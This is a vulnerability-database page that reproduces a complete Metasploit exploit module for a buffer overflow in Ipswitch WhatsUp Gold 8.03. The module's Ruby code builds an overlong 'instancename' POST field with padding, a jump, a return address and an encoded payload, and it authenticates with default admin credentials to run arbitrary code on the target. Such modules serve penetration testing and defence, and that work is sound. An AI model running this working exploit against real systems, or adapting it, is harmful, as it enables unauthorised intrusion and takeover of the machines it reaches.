Lucene search

K

Ipswitch WhatsUp Gold 8.03 Buffer Overflow

🗓️ 01 Nov 2006 12:17:14Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

Ipswitch WhatsUp Gold 8.03 Buffer Overflow exploit via _maincfgret.cg

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
  HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
        posting a long string for the value of 'instancename' in the _maincfgret.cgi
        script an attacker can overflow a buffer and execute arbitrary code on the system.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2004-0798'],
          ['OSVDB', '9177'],
          ['BID', '11043'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2004-08-25'))

    register_options(
      [
        OptString.new('HTTPUSER', [ true, 'The username to authenticate as', 'admin']),
        OptString.new('HTTPPASS', [ true, 'The password to authenticate as', 'admin']),
      ])
  end

  def exploit
    c = connect

    num = rand(65535).to_s
    user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

    req   = "page=notify&origname=&action=return&type=Beeper&instancename="
    req  << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
    req  << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
    req  << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

    print_status("Trying target %s..." % target.name)
    res = send_request_cgi({
      'uri'          => '/_maincfgret.cgi',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'data'         => req,
      'headers'      =>
      {
        'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
      }
    }, 5)

    handler
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
01 Nov 2006 12:14Current
8.2High risk
Vulners AI Score8.2
CVSS27.5
EPSS0.64394
18
.json
Report